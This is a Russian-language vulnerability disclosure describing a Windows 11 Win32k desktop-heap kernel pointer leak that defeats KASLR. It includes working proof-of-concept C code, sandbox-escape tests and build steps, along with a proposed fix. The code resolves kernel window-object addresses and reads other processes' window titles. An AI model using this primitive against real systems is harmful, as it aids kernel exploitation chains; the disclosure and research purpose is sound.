CVE-2026-50416: обход KASLR в Windows 11
В Windows 11 Insider сборке 10.0.28020.2149 пользовательское отображение Win32k desktop heap раскрывало необработанный указатель на пул ядра сессии по смещению 0x100.
Само чтение почти оскорбительно мало:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
В моей тестовой сессии это вернуло:
0xffffc600dcc00040
Значение оставалось одинаковым для всех процессов на одном рабочем столе и менялось после перезагрузки. Процесс, запущенный на другом рабочем столе, получал другое значение, поскольку у него был другой desktop heap. Из этого одного QWORD PoC восстановил базовый адрес kernel desktop heap, а затем использовал user32!gSharedInfo для получения адресов ядра живых объектов окон.
То же чтение работало из Low integrity, AppContainer, конфигурации LPAC с нулевыми возможностями и дочернего процесса Low integrity AppContainer с нулевыми возможностями.
Desktop heap должен быть общим. Указатель на ядро — нет.
Win32k хранит объекты USER, такие как окна, меню, классы, хуки и связанные метаданные, в desktop heap. Каждый рабочий стол имеет свою собственную кучу. Часть этой кучи отображается в процессы, связанные с рабочим столом, чтобы пользовательский режим мог читать общее состояние GUI без запроса каждого поля у ядра.
В протестированной x64 сборке к отображению пользовательского режима можно получить доступ через клиентские данные текущего потока TEB:
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
Смещения зависят от сборки, но маршрут прост:
GS:[0x30]
-> TEB
-> ClientInfo по адресу TEB + 0x800
-> ClientInfo[5]
-> отображение desktop heap в пользовательском режиме
PoC вызывает VirtualQuery для возвращённого адреса и записывает отображённую область и её защиту. Пока ничего не пошло не так. Отображение desktop heap только для чтения — это нормальное поведение Win32k.
Проблема начинается через 256 байт.
Основной PoC читает одно QWORD из отображённой кучи:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Значение прошло базовые проверки, ожидаемые для адреса виртуальной памяти ядра на тестируемой системе:
Тест стабильности создаёт окна STATIC, BUTTON и EDIT, читает значение до создания, читает его снова, пока окна существуют, уничтожает их и читает в третий раз.
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);
HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);
DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);
ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);
Все три чтения вернули одно и то же значение. Активность выделения окон не сдвинула его. Такое поведение согласуется с полем в метаданных desktop heap, а не с указателем на недолговечный объект.
Свойство межпроцессности не менее важно. Два процесса, прикреплённые к одному рабочему столу, наблюдают одно и то же утёкшее значение, потому что они смотрят на один и тот же desktop heap. После перезагрузки KASLR даёт сессии новый адрес. Дочерний процесс, помещённый на другой рабочий стол, наблюдает другой указатель, потому что этот рабочий стол владеет другой кучей.
Это придаёт утечке полезную идентичность:
та же загрузка + тот же рабочий стол -> тот же указатель
та же загрузка + другой рабочий стол -> другой указатель
новая загрузка -> другой указатель
В протестированной сборке утёкший указатель находится на 0x40 байт выше базового адреса kernel desktop heap, используемого PoC:
ULONG64 kernel_desktop_heap_base = leaked - 0x40;
Используя записанное значение сессии:
утёкший указатель = 0xffffc600dcc00040
базовый адрес kernel desktop heap = 0xffffc600dcc00000
Эта взаимосвязь зависит от сборки. Для сборки, использованной во время тестирования, она даёт якорь на стороне ядра, необходимый для следующего шага.
Один указатель уже полезен. Адрес выбранного объекта гораздо полезнее.
user32.dll экспортирует gSharedInfo, который раскрывает список записей дескрипторов USER и размер каждой записи:
typedef struct {
PVOID psi;
PVOID aheList;
ULONG HeEntrySize;
} SHAREDINFO;
SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
GetModuleHandleA("user32.dll"),
"gSharedInfo"
);
HWND содержит индекс в таблице дескрипторов USER. PoC берёт младшие 16 бит дескриптора, переходит к соответствующей записи и читает хранящееся там смещение desktop heap.
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;
То же смещение называет объект в обоих отображениях:
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;
Итак, полный расчёт:
базовый адрес kernel desktop heap = desktop_heap[0x100] - 0x40
индекс дескриптора = HWND & 0xffff
смещение в куче = aheList[индекс дескриптора].offset
адрес окна в ядре = базовый адрес kernel desktop heap + смещение в куче
PoC создаёт шесть классов окон и выполняет расчёт для каждого из них:
STATICBUTTONEDITLISTBOXSCROLLBARCOMBOBOXДля каждого объекта он выводит HWND, индекс дескриптора, адрес объекта в пользовательском режиме, смещение в куче и адрес в ядре.
HWND
-> младший 16-битный индекс дескриптора
-> запись дескриптора gSharedInfo
-> смещение в desktop heap
-> базовый адрес kernel desktop heap + смещение
-> адрес этого объекта окна в ядре
Это та часть, которая превращает раскрытие из свободного указателя ядра в оракул адресов для выбранных объектов USER в тестируемом desktop heap.
Desktop heap поступает через общее отображение. Уровни целостности и ограничения AppContainer не переписывают содержимое этого отображения для каждого процесса. Если процесс получает desktop heap, он получает и QWORD по адресу 0x100.
PoC песочницы запускает дочерние процессы в нескольких контекстах и заставляет каждый дочерний процесс читать значение из собственного TEB и собственного отображения desktop heap.
| Контекст | Конфигурация | Результат |
|---|---|---|
| Medium integrity | Стандартный пользовательский процесс | Утечка |
| Low integrity | Целостность токена понижена до Low | Утечка |
| AppContainer | Ноль запрошенных возможностей | Утечка |
| Конфигурация LPAC | Политика отказа для всех пакетов приложений, ноль запрошенных возможностей | Утечка |
| Low integrity AppContainer | Low IL плюс AppContainer, ноль запрошенных возможностей | Утечка |
| Альтернативный рабочий стол | Дочерний процесс назначен на новый рабочий стол | Утечка другого значения |
Первые пять дочерних процессов были прикреплены к рабочему столу по умолчанию и вернули один и тот же адрес. Дочерний процесс на альтернативном рабочем столе вернул другой адрес, потому что получил другой desktop heap.
Вывод дочернего процесса имеет компактный формат, чтобы родительский процесс мог сравнивать результаты:
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234
Более строгий помощник также записывает состояние токена и количество возможностей:
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234
Важная деталь не в том, что дочерний процесс может вызывать специальный API Win32k. Ему это не нужно. Как только отображение присутствует, утечка — это обычное чтение памяти в пользовательском режиме.
Отдельный помощник выполняет чтение без вызова CreateWindow.
Он проверяет указатель desktop heap, читает desktop_heap[0x100], явно загружает user32.dll, снова проверяет отображение и по-прежнему не создаёт ни одного окна. Другой дочерний процесс, подобный рендереру, загружает user32.dll, выполняет то же чтение и завершает работу без создания какого-либо окна.
Полезный результат прост:
Перед чтением утёкшего QWORD не нужно создавать ни одного объекта окна.
Утечка принадлежит самому отображению desktop heap, а не окну, созданному атакующим процессом.
supporting_proof_remote_trigger.c создаёт дочерний процесс Low integrity AppContainer с нулевыми запрошенными возможностями. Дочерний процесс выполняет лишь небольшую работу:
LoadLibraryA("user32.dll");
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Записанный вывод:
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated
Это демонстрирует чтение из конфигурации токена, подобной рендереру. Отдельная ошибка повреждения памяти браузера, которая уже даёт выполнение нативного кода в таком процессе, не потребовала бы другого раскрытия информации перед чтением этого указателя desktop heap.
Получив надёжный указатель, я просканировал отображённую область, чтобы увидеть, что ещё там присутствует.
Сканер находил от шести до десяти дополнительных уникальных значений QWORD за запуск, которые проходили те же проверки канонического адреса и выравнивания. Точное число менялось в зависимости от активности рабочего стола. Смещение 0x100 было стабильной основной утечкой, но не единственным значением с формой адреса ядра в отображении.
Помощник по чувствительным данным перечисляет окна верхнего уровня с помощью EnumWindows, собирает их владельцев PID и заголовки, а затем ищет те же заголовки в отображении desktop heap как строки UTF-16.
В записанном запуске он нашёл двадцать уникальных заголовков, принадлежащих другим процессам. Примеры включали вкладки браузера, Discord, Explorer, Spotify и окна системного трея.
Программа выводит заголовок только после выполнения обоих условий:
EnumWindows сообщает об окне с этим заголовком и владельцем PID, отличным от тестового процесса.Это делает вывод легко проверяемым, а не полагается на случайные печатные строки, найденные в памяти.
Помощник также сканирует значения DWORD в отображении. Значение учитывается только тогда, когда:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) успешно выполняется для него.EnumWindows.В записанном запуске было найдено 605 совпадающих вхождений DWORD. Это количество вхождений в куче, а не 605 уникальных процессов. Один и тот же PID может встречаться более одного раза.
Помощник создаёт элемент управления EDIT с ES_PASSWORD, устанавливает его текст в SecretPassword123 и ищет в отображённой области префикс SecretP. В тестируемом запуске он не был найден.
Таким образом, отображение раскрывало заголовки, вхождения PID и значения, имеющие форму ядра, в то время как тестируемая строка пароля там не появлялась.
Для ошибки повреждения памяти Win32k знание того, что объект существует, — это не то же самое, что знание того, где он находится в памяти ядра.
Без раскрытия атакующему приходится иметь дело с неизвестным базовым адресом desktop heap и неизвестными адресами объектов. С раскрытием сторона адреса становится:
прочитать одно QWORD
вычесть 0x40
прочитать запись целевого дескриптора
добавить её смещение в куче
Для выбранного HWND атакующий теперь имеет соответствующий адрес kernel desktop heap в тестируемой сборке. Это может помочь с:
Утечка решает проблему адреса. Формирование кучи, замена объектов и примитив повреждения памяти остаются отдельными частями эксплуатации.
Это разделение важно. KASLR не останавливает повреждение памяти. Оно делает надёжное нацеливание сложнее. Это QWORD устраняет эту неопределённость для области desktop heap, используемой PoC.
Windows 11 Insider Build 10.0.28020.2149
Стандартный пользователь
Базовый уровень Medium integrity
kaslr_bypass_poc.c: основной PoC утечки и разрешения адресов оконkaslr_sandbox_proof.c: тесты Medium IL, Low IL, AppContainer, конфигурации LPAC, Low IL AppContainer и альтернативного рабочего столаsupporting_proof_no_window.c: чтение без создания окнаsupporting_proof_no_caps_lpac.c: конфигурации AppContainer и LPAC с нулевыми возможностямиsupporting_proof_sensitive_data.c: заголовки, вхождения PID, сканирование дополнительных указателей и проверка поля пароляsupporting_proof_exploitability.c: шесть классов окон и расчёты адресов ядраsupporting_proof_remote_trigger.c: дочерний процесс Low IL AppContainer, подобный рендереруcompile.bat: меню сборкиЗапустите:
compile.bat
Выберите цель из меню.
Основной PoC также можно скомпилировать напрямую из командной строки разработчика Visual Studio:
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib
Запустите основной PoC дважды без перезагрузки:
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe
Указатель по адресу desktop_heap + 0x100 должен быть идентичен в обоих запусках.
Откройте второй терминал и запустите его из другого процесса на том же рабочем столе. Значение должно снова совпасть.
Перезагрузитесь и повторите. Значение должно измениться.
kaslr_sandbox_proof.exe
Тест запускает каждый дочерний процесс, захватывает его вывод и сравнивает утёкшие значения. Дочерние процессы на рабочем столе по умолчанию должны сообщать одно и то же значение. Дочерний процесс на альтернативном рабочем столе должен сообщать другое значение.
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe
Каждый помощник изолирует одну часть результата, чтобы её можно было воспроизвести без чтения всего вывода полного PoC.
Отображение пользовательского режима не должно содержать необработанные адреса виртуальной памяти ядра.
Самое маленькое исправление — очистить поле заголовка desktop heap до того, как страница станет видимой в пользовательском режиме. Windows уже использует непрозрачное значение 0x6000000000 для других полей указателей desktop heap, поэтому тот же стиль замены можно было бы использовать здесь, если пользовательскому режиму всё ещё нужно это поле.
Если пользовательскому режиму не нужна страница заголовка, более чистое исправление — не раскрывать эту страницу в общем отображении.
Регрессионный тест прост: создайте процессы в конфигурациях Medium IL, Low IL, AppContainer и LPAC, отобразите desktop heap и отклоняйте любой канонический адрес ядра, найденный в видимом пользователю заголовке.
Вся цепочка начинается с одного обычного чтения из отображения только для чтения:
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);
Это QWORD идентифицирует kernel desktop heap. gSharedInfo предоставляет смещение для каждого объекта. Вместе они превращают HWND пользовательского режима в соответствующий адрес ядра в тестируемой сборке.
Здесь не скрывается сложный триггер. Windows поместила desktop heap туда, где пользовательский режим мог его читать, а затем оставила один указатель ядра внутри той части, которой поделилась.
Одного QWORD было достаточно.